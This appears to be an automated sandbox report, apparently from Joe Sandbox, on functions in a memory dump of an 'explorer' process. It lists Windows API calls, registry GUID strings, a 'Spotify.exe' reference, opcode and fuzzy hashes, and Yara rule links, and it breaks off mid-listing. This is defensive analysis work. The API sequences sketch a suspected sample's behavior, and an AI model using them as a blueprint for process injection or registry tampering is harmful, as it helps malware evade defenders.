API String ID: 173816248-495562761
Opcode ID: f905f424248e15589d132c37e9be0cc03c94c5fa6fb97b89272881f21c89416e
Instruction ID: 9f6249a4b67f7e3277f3f0a61de390312365f0d85b5c254f30adb127a55ce742
Opcode Fuzzy Hash: f905f424248e15589d132c37e9be0cc03c94c5fa6fb97b89272881f21c89416e
Instruction Fuzzy Hash: CE11DB72208A8582E7149F54F49578BBBB0F7C5798F60002AE78947A68DFBDC549CF40

Function 011A2160 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32 ref: 011A218F
GetVolumeInformationW.KERNEL32 ref: 011A21E0

Part of subcall function 011ADC00: CryptAcquireContextW.ADVAPI32 ref: 011ADC4E
Part of subcall function 011ADC00: CryptCreateHash.ADVAPI32 ref: 011ADC77
Part of subcall function 011ADC00: WaitForSingleObject.KERNEL32 ref: 011ADCE5
Part of subcall function 011ADC00: CryptReleaseContext.ADVAPI32 ref: 011ADDD2
Part of subcall function 011ADC00: CryptDestroyHash.ADVAPI32 ref: 011ADDE5

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$ContextHash$AcquireCreateDestroyDirectoryInformationObjectReleaseSingleSystemVolumeWait
String ID:
API String ID: 2609862481-0
Opcode ID: a35bb54f1f73ba14eb1c2990bdd3d20f108409ba1b821c1f3c15cf64e819ed8e
Instruction ID: ccec57cb24b47b6e8ecedf8e606d039379fdc57e857bdbb550e51d0ff4158e19
Opcode Fuzzy Hash: a35bb54f1f73ba14eb1c2990bdd3d20f108409ba1b821c1f3c15cf64e819ed8e
Instruction Fuzzy Hash: B1119236228AC082E728CB64F88879B77A1F784744FA04026E789C7E58DB7EC449CB04

Function 011A7B60 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32 ref: 011A7BF9

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: ProcWindow
String ID:
API String ID: 181713994-0
Opcode ID: 31c9c0b5947c44be4f1d2d09d6ca79a6a5646e6c6c14db69b613b66a64f539fd
Instruction ID: 3b586f04c2f5809efc5c182ad01ee7d3b2b2e54f3698ca01294638291bef8968
Opcode Fuzzy Hash: 31c9c0b5947c44be4f1d2d09d6ca79a6a5646e6c6c14db69b613b66a64f539fd
Instruction Fuzzy Hash: 5C0121B910C680CBD73CAB5CE01435ABF60F3C5749F804526E78942A98CB7FC6848F42

Function 011A9999 Relevance: 1.5, APIs: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE ref: 011A99FF
GetProcAddress.KERNEL32 ref: 011A9A5E
LoadLibraryExW.KERNEL32 ref: 011A9AA8

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: AddressProc$CallerLibraryLoad
String ID:
API String ID: 3311809864-0
Opcode ID: 100a539388ed10e765e593ae9632a672f362217d4cd857549dcdeec64cc44426
Instruction ID: 404537cda561d50d6dd5edc36a6a77fd249a0677ffb152cf6f48c97e703e1d89
Opcode Fuzzy Hash: 100a539388ed10e765e593ae9632a672f362217d4cd857549dcdeec64cc44426
Instruction Fuzzy Hash: A101A53AB18BC985DB34CB08E0907AAB760F3C6744F804516D68E42A68DB7DD555CB42

Function 011A8D53 Relevance: 1.5, APIs: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE ref: 011A8DBC
GetProcAddress.KERNEL32 ref: 011A8E1E
LoadLibraryW.KERNEL32 ref: 011A8E68

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: AddressProc$CallerLibraryLoad
String ID:
API String ID: 3311809864-0
Opcode ID: f12bac732cab75a28ea2f441fae935218d77663a432a707c6d2a7bcdaf3ad6d8
Instruction ID: 35c97d0c271daf910e677e0915a2214113bbcf2f69f589ac3b7b86de9c000c83
Opcode Fuzzy Hash: f12bac732cab75a28ea2f441fae935218d77663a432a707c6d2a7bcdaf3ad6d8
Instruction Fuzzy Hash: 1101C43A618BC5CADB35CB08E4D43AAB764F3D5745F800116C68E83B68DF39C559CB41

Function 011A7910 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 011A7946

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 58f56a68dde3867d7acb8a7956f5aa7bba3c9146910bc749bbf72c40a0543847
Instruction ID: 99598631d4243720f5907f22f91b3097985791073a199fd87f462ac41a840a6e
Opcode Fuzzy Hash: 58f56a68dde3867d7acb8a7956f5aa7bba3c9146910bc749bbf72c40a0543847
Instruction Fuzzy Hash: 2BF0C03550974585F72CEB64F8197D13A90F344328F84522BD649957B4EB7E8289CA01

Function 01195230 Relevance: 1.5, APIs: 1, Instructions: 20threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 01195263

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: b32d8231ed20fe3a6c646cd57c97a2d13eb4c555140a907c0ff916a62f50b3f8
Instruction ID: 85652bc8cdd6fcb9e8efdfc7b167fc1d42df18dbed5238d5b050f4fc85af6b58
Opcode Fuzzy Hash: b32d8231ed20fe3a6c646cd57c97a2d13eb4c555140a907c0ff916a62f50b3f8
Instruction Fuzzy Hash: C6F04831D08745C5FBADDB60F8283D527A2F35434CF50116BF655596A0CBFD8185C741

Non-executed Functions

Function 0119A8C0 Relevance: 96.7, APIs: 42, Strings: 13, Instructions: 440stringregistrylibraryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 0119AB8A
SetEvent.KERNEL32 ref: 0119ABFF

Part of subcall function 011A7E10: lstrlenW.KERNEL32 ref: 011A7E5C

wnsprintfW.SHLWAPI ref: 0119AC32
RegDeleteKeyExW.ADVAPI32 ref: 0119AC50
wnsprintfW.SHLWAPI ref: 0119AC83
RegDeleteKeyExW.ADVAPI32 ref: 0119ACA1
wnsprintfW.SHLWAPI ref: 0119ACD4
RegDeleteKeyExW.ADVAPI32 ref: 0119ACF2
wnsprintfW.SHLWAPI ref: 0119AD25
RegDeleteKeyExW.ADVAPI32 ref: 0119AD43

Part of subcall function 0119F370: RegOpenKeyW.ADVAPI32 ref: 0119F390
Part of subcall function 0119F370: RegDeleteValueW.ADVAPI32 ref: 0119F3A6
Part of subcall function 0119F370: RegCloseKey.ADVAPI32 ref: 0119F3B1
Part of subcall function 0119F370: RegOpenKeyW.ADVAPI32 ref: 0119F3D3
Part of subcall function 0119F370: RegDeleteValueW.ADVAPI32 ref: 0119F3E9
Part of subcall function 0119F370: RegCloseKey.ADVAPI32 ref: 0119F3F4

Part of subcall function 011A05B0: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,01194277), ref: 011A05CB
Part of subcall function 011A05B0: SHGetKnownFolderPath.SHELL32 ref: 011A05EF
Part of subcall function 011A05B0: DeleteFileW.KERNEL32 ref: 011A0625
Part of subcall function 011A05B0: CoTaskMemFree.COMBASE ref: 011A0630
Part of subcall function 011A05B0: LocalFree.KERNEL32 ref: 011A063B
Part of subcall function 011A05B0: SHGetKnownFolderPath.SHELL32 ref: 011A0652
Part of subcall function 011A05B0: LocalAlloc.KERNEL32 ref: 011A066A
Part of subcall function 011A05B0: LocalAlloc.KERNEL32 ref: 011A06B2
Part of subcall function 011A05B0: DeleteFileW.KERNEL32 ref: 011A06FD
Part of subcall function 011A05B0: RemoveDirectoryW.KERNEL32 ref: 011A0708
Part of subcall function 011A05B0: LocalFree.KERNEL32 ref: 011A0713
Part of subcall function 011A05B0: LocalFree.KERNEL32 ref: 011A071E
Part of subcall function 011A05B0: CoTaskMemFree.COMBASE ref: 011A0729

Part of subcall function 0119FD90: CoInitializeEx.COMBASE ref: 0119FDC0
Part of subcall function 0119FD90: CoUninitialize.COMBASE ref: 011A01C3

Part of subcall function 011A0330: OpenEventW.KERNEL32 ref: 011A0351
Part of subcall function 011A0330: SetEvent.KERNEL32 ref: 011A0372
Part of subcall function 011A0330: CloseHandle.KERNEL32 ref: 011A0380
Part of subcall function 011A0330: OpenMutexW.KERNEL32 ref: 011A03A0
Part of subcall function 011A0330: WaitForSingleObject.KERNEL32 ref: 011A03C6
Part of subcall function 011A0330: CloseHandle.KERNEL32 ref: 011A03D4
Part of subcall function 011A0330: SHGetKnownFolderPath.SHELL32 ref: 011A03EE
Part of subcall function 011A0330: LocalAlloc.KERNEL32 ref: 011A0406
Part of subcall function 011A0330: lstrlenW.KERNEL32 ref: 011A0467
Part of subcall function 011A0330: GetFileAttributesW.KERNEL32 ref: 011A04F3
Part of subcall function 011A0330: LocalFree.KERNEL32 ref: 011A0543
Part of subcall function 011A0330: CoTaskMemFree.COMBASE ref: 011A0551
Part of subcall function 011A0330: wnsprintfW.SHLWAPI ref: 011A057E
Part of subcall function 011A0330: RegDeleteKeyExW.ADVAPI32 ref: 011A0596

Part of subcall function 011A01E0: SHGetKnownFolderPath.SHELL32 ref: 011A01F8
Part of subcall function 011A01E0: LocalAlloc.KERNEL32 ref: 011A0210
Part of subcall function 011A01E0: lstrlenW.KERNEL32 ref: 011A0262
Part of subcall function 011A01E0: GetFileAttributesW.KERNEL32 ref: 011A02CA
Part of subcall function 011A01E0: LocalFree.KERNEL32 ref: 011A030B
Part of subcall function 011A01E0: CoTaskMemFree.COMBASE ref: 011A0316

Part of subcall function 0119F790: SHGetKnownFolderPath.SHELL32(?,?,?,?,?,?,?,?,011A6834), ref: 0119F7AF
Part of subcall function 0119F790: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,011A6834), ref: 0119F7C3
Part of subcall function 0119F790: wnsprintfW.SHLWAPI ref: 0119F7FC
Part of subcall function 0119F790: lstrlenW.KERNEL32 ref: 0119F80B
Part of subcall function 0119F790: CoTaskMemFree.COMBASE ref: 0119F81D

GetFileAttributesW.KERNEL32 ref: 0119AE29
SHFileOperationW.SHELL32 ref: 0119AE48
LocalFree.KERNEL32 ref: 0119AE79
GetWindowsDirectoryW.KERNEL32 ref: 0119AF37
CreateProcessW.KERNEL32 ref: 0119B00A
GetCurrentProcess.KERNEL32 ref: 0119B019
DuplicateHandle.KERNEL32 ref: 0119B06B
GetCurrentProcess.KERNEL32 ref: 0119B07A
DuplicateHandle.KERNEL32 ref: 0119B0CB
LoadLibraryW.KERNEL32 ref: 0119B0E2
GetProcAddress.KERNEL32 ref: 0119B120
GetProcAddress.KERNEL32 ref: 0119B13E
lstrcpyW.KERNEL32 ref: 0119B15C
lstrcpyA.KERNEL32 ref: 0119B172
lstrcpyA.KERNEL32 ref: 0119B188
lstrcpyA.KERNEL32 ref: 0119B19E
lstrcpyA.KERNEL32 ref: 0119B1B4
lstrcpyA.KERNEL32 ref: 0119B1CA
lstrcpyA.KERNEL32 ref: 0119B1DD
lstrcpyW.KERNEL32 ref: 0119B1F3
lstrcpyW.KERNEL32 ref: 0119B209
LocalFree.KERNEL32 ref: 0119B2D2
CloseHandle.KERNEL32 ref: 0119B2F7
CloseHandle.KERNEL32 ref: 0119B305
TerminateProcess.KERNEL32 ref: 0119B31F
LocalFree.KERNEL32 ref: 0119B32D
OpenEventW.KERNEL32 ref: 0119B341
SetEvent.KERNEL32 ref: 0119B362
CloseHandle.KERNEL32 ref: 0119B370
shutdown.WS2_32 ref: 0119B383
closesocket.WS2_32 ref: 0119B391

Strings

Software\%s, xrefs: 0119AC6F
Software\%s, xrefs: 0119AC1E
h, xrefs: 0119AFA4
SOFTWARE\%s, xrefs: 0119AD11
{2046C745-B848-47EE-8068-B039EAC15A1C}, xrefs: 0119AC68
{7EE6EBB8-7FBC-4C3E-AAB8-F5FE9571F428}, xrefs: 0119ACB9
{F711BB4E-52A0-4F2C-BD3A-54EB0B2E6079}, xrefs: 0119AC17
{A25A8DA7-6938-4CAB-8D05-4B8A4D0816BC}, xrefs: 0119AD0A
{29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}, xrefs: 0119B333
Spotify.exe, xrefs: 0119AEDF
%s%s, xrefs: 0119AEF3
Software\%s, xrefs: 0119ACC0
2, xrefs: 0119AACE

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Deletelstrcpy$CloseHandle$AllocFilewnsprintf$EventFolderKnownOpenPathTask$Processlstrlen$Attributes$AddressCurrentDirectoryDuplicateProcValue$CreateInitializeLibraryLoadMutexObjectOperationRemoveSingleTerminateUninitializeWaitWindowsclosesocketsetsockoptshutdown
String ID: %s%s$2$SOFTWARE\%s$Software\%s$Software\%s$Software\%s$Spotify.exe$h${2046C745-B848-47EE-8068-B039EAC15A1C}${29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}${7EE6EBB8-7FBC-4C3E-AAB8-F5FE9571F428}${A25A8DA7-6938-4CAB-8D05-4B8A4D0816BC}${F711BB4E-52A0-4F2C-BD3A-54EB0B2E6079}
API String ID: 1118244034-3169802617
Opcode ID: 7037301a7e069a12b47916f7d44cc6767f50f69d42ba6e202ef66847cf1e683c
Instruction ID: bb698933e1a80d60b235713ed5014262e00f3f9491596e6ee7b065434aa4f9b1
Opcode Fuzzy Hash: 7037301a7e069a12b47916f7d44cc6767f50f69d42ba6e202ef66847cf1e683c
Instruction Fuzzy Hash: 1242F236218BC595DB75DB14F8983DAB3A5F788759F800126DA8D83B68EF3CC249CB40

Function 0119DE20 Relevance: 96.7, APIs: 42, Strings: 13, Instructions: 422stringregistrylibraryCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 0119E085
GetLocalTime.KERNEL32 ref: 0119E0B4
SystemTimeToFileTime.KERNEL32 ref: 0119E0CA
wnsprintfW.SHLWAPI ref: 0119E14B
RegDeleteKeyExW.ADVAPI32 ref: 0119E169

Part of subcall function 011A7E10: lstrlenW.KERNEL32 ref: 011A7E5C

wnsprintfW.SHLWAPI ref: 0119E19C
RegDeleteKeyExW.ADVAPI32 ref: 0119E1BA
wnsprintfW.SHLWAPI ref: 0119E1ED
RegDeleteKeyExW.ADVAPI32 ref: 0119E20B
wnsprintfW.SHLWAPI ref: 0119E23E
RegDeleteKeyExW.ADVAPI32 ref: 0119E25C

Part of subcall function 0119F370: RegOpenKeyW.ADVAPI32 ref: 0119F390
Part of subcall function 0119F370: RegDeleteValueW.ADVAPI32 ref: 0119F3A6
Part of subcall function 0119F370: RegCloseKey.ADVAPI32 ref: 0119F3B1
Part of subcall function 0119F370: RegOpenKeyW.ADVAPI32 ref: 0119F3D3
Part of subcall function 0119F370: RegDeleteValueW.ADVAPI32 ref: 0119F3E9
Part of subcall function 0119F370: RegCloseKey.ADVAPI32 ref: 0119F3F4

Part of subcall function 011A05B0: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,01194277), ref: 011A05CB
Part of subcall function 011A05B0: SHGetKnownFolderPath.SHELL32 ref: 011A05EF
Part of subcall function 011A05B0: DeleteFileW.KERNEL32 ref: 011A0625
Part of subcall function 011A05B0: CoTaskMemFree.COMBASE ref: 011A0630
Part of subcall function 011A05B0: LocalFree.KERNEL32 ref: 011A063B
Part of subcall function 011A05B0: SHGetKnownFolderPath.SHELL32 ref: 011A0652
Part of subcall function 011A05B0: LocalAlloc.KERNEL32 ref: 011A066A
Part of subcall function 011A05B0: LocalAlloc.KERNEL32 ref: 011A06B2
Part of subcall function 011A05B0: DeleteFileW.KERNEL32 ref: 011A06FD
Part of subcall function 011A05B0: RemoveDirectoryW.KERNEL32 ref: 011A0708
Part of subcall function 011A05B0: LocalFree.KERNEL32 ref: 011A0713
Part of subcall function 011A05B0: LocalFree.KERNEL32 ref: 011A071E
Part of subcall function 011A05B0: CoTaskMemFree.COMBASE ref: 011A0729

Part of subcall function 011A0330: OpenEventW.KERNEL32 ref: 011A0351
Part of subcall function 011A0330: SetEvent.KERNEL32 ref: 011A0372
Part of subcall function 011A0330: CloseHandle.KERNEL32 ref: 011A0380
Part of subcall function 011A0330: OpenMutexW.KERNEL32 ref: 011A03A0
Part of subcall function 011A0330: WaitForSingleObject.KERNEL32 ref: 011A03C6
Part of subcall function 011A0330: CloseHandle.KERNEL32 ref: 011A03D4
Part of subcall function 011A0330: SHGetKnownFolderPath.SHELL32 ref: 011A03EE
Part of subcall function 011A0330: LocalAlloc.KERNEL32 ref: 011A0406
Part of subcall function 011A0330: lstrlenW.KERNEL32 ref: 011A0467
Part of subcall function 011A0330: GetFileAttributesW.KERNEL32 ref: 011A04F3
Part of subcall function 011A0330: LocalFree.KERNEL32 ref: 011A0543
Part of subcall function 011A0330: CoTaskMemFree.COMBASE ref: 011A0551
Part of subcall function 011A0330: wnsprintfW.SHLWAPI ref: 011A057E
Part of subcall function 011A0330: RegDeleteKeyExW.ADVAPI32 ref: 011A0596

Part of subcall function 011A01E0: SHGetKnownFolderPath.SHELL32 ref: 011A01F8
Part of subcall function 011A01E0: LocalAlloc.KERNEL32 ref: 011A0210
Part of subcall function 011A01E0: lstrlenW.KERNEL32 ref: 011A0262
Part of subcall function 011A01E0: GetFileAttributesW.KERNEL32 ref: 011A02CA
Part of subcall function 011A01E0: LocalFree.KERNEL32 ref: 011A030B
Part of subcall function 011A01E0: CoTaskMemFree.COMBASE ref: 011A0316

Part of subcall function 0119FD90: CoInitializeEx.COMBASE ref: 0119FDC0
Part of subcall function 0119FD90: CoUninitialize.COMBASE ref: 011A01C3

Part of subcall function 0119F790: SHGetKnownFolderPath.SHELL32(?,?,?,?,?,?,?,?,011A6834), ref: 0119F7AF
Part of subcall function 0119F790: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,011A6834), ref: 0119F7C3
Part of subcall function 0119F790: wnsprintfW.SHLWAPI ref: 0119F7FC
Part of subcall function 0119F790: lstrlenW.KERNEL32 ref: 0119F80B
Part of subcall function 0119F790: CoTaskMemFree.COMBASE ref: 0119F81D

GetFileAttributesW.KERNEL32 ref: 0119E342
SHFileOperationW.SHELL32 ref: 0119E361
LocalFree.KERNEL32 ref: 0119E392
GetWindowsDirectoryW.KERNEL32 ref: 0119E450
CreateProcessW.KERNEL32 ref: 0119E523
GetCurrentProcess.KERNEL32 ref: 0119E532
DuplicateHandle.KERNEL32 ref: 0119E584
GetCurrentProcess.KERNEL32 ref: 0119E593
DuplicateHandle.KERNEL32 ref: 0119E5E4
LoadLibraryW.KERNEL32 ref: 0119E5FB
GetProcAddress.KERNEL32 ref: 0119E639
GetProcAddress.KERNEL32 ref: 0119E657
lstrcpyW.KERNEL32 ref: 0119E675
lstrcpyA.KERNEL32 ref: 0119E68B
lstrcpyA.KERNEL32 ref: 0119E6A1
lstrcpyA.KERNEL32 ref: 0119E6B7
lstrcpyA.KERNEL32 ref: 0119E6CD
lstrcpyA.KERNEL32 ref: 0119E6E3
lstrcpyA.KERNEL32 ref: 0119E6F6
lstrcpyW.KERNEL32 ref: 0119E70C
lstrcpyW.KERNEL32 ref: 0119E722
LocalFree.KERNEL32 ref: 0119E7DE
CloseHandle.KERNEL32 ref: 0119E803
CloseHandle.KERNEL32 ref: 0119E811
TerminateProcess.KERNEL32 ref: 0119E82B
LocalFree.KERNEL32 ref: 0119E839
OpenEventW.KERNEL32 ref: 0119E84D
SetEvent.KERNEL32 ref: 0119E86E
CloseHandle.KERNEL32 ref: 0119E87C
LocalFree.KERNEL32 ref: 0119E887

Strings

{2046C745-B848-47EE-8068-B039EAC15A1C}, xrefs: 0119E181
Software\%s, xrefs: 0119E1D9
%s%s, xrefs: 0119E40C
{7EE6EBB8-7FBC-4C3E-AAB8-F5FE9571F428}, xrefs: 0119E1D2
Software\%s, xrefs: 0119E188
SOFTWARE\%s, xrefs: 0119E22A
Software\%s, xrefs: 0119E137
{F711BB4E-52A0-4F2C-BD3A-54EB0B2E6079}, xrefs: 0119E130
h, xrefs: 0119E4BD
{A25A8DA7-6938-4CAB-8D05-4B8A4D0816BC}, xrefs: 0119E223
{29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}, xrefs: 0119E83F
Spotify.exe, xrefs: 0119E3F8
2, xrefs: 0119E02E

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Deletelstrcpy$CloseFileHandle$Allocwnsprintf$FolderKnownOpenPathTask$EventProcesslstrlen$AttributesTime$AddressCurrentDirectoryDuplicateObjectProcSingleValueWait$CreateInitializeLibraryLoadMutexOperationRemoveSystemTerminateUninitializeWindows
String ID: %s%s$2$SOFTWARE\%s$Software\%s$Software\%s$Software\%s$Spotify.exe$h${2046C745-B848-47EE-8068-B039EAC15A1C}${29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}${7EE6EBB8-7FBC-4C3E-AAB8-F5FE9571F428}${A25A8DA7-6938-4CAB-8D05-4B8A4D0816BC}${F711BB4E-52A0-4F2C-BD3A-54EB0B2E6079}
API String ID: 2965556141-3169802617
Opcode ID: 16e865494beb0c0552abcd8ac02d39e7152076fd49e31f46be9424e4a944fc86
Instruction ID: 9c9495f28ff33522d172e395a5a1829b91d87b88bacb6142b11d9f0ea8669b3f
Opcode Fuzzy Hash: 16e865494beb0c0552abcd8ac02d39e7152076fd49e31f46be9424e4a944fc86
Instruction Fuzzy Hash: 27321572219AC595EB75DF14F8887DAB3A5F788758F800126D68D83B68EF7CC249CB40

Function 0119E8C0 Relevance: 93.0, APIs: 43, Strings: 10, Instructions: 213stringCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 0119E8C7
CommandLineToArgvW.SHELL32 ref: 0119E8DC
lstrcmpiW.KERNEL32 ref: 0119E8F7
lstrcmpiW.KERNEL32 ref: 0119E91D

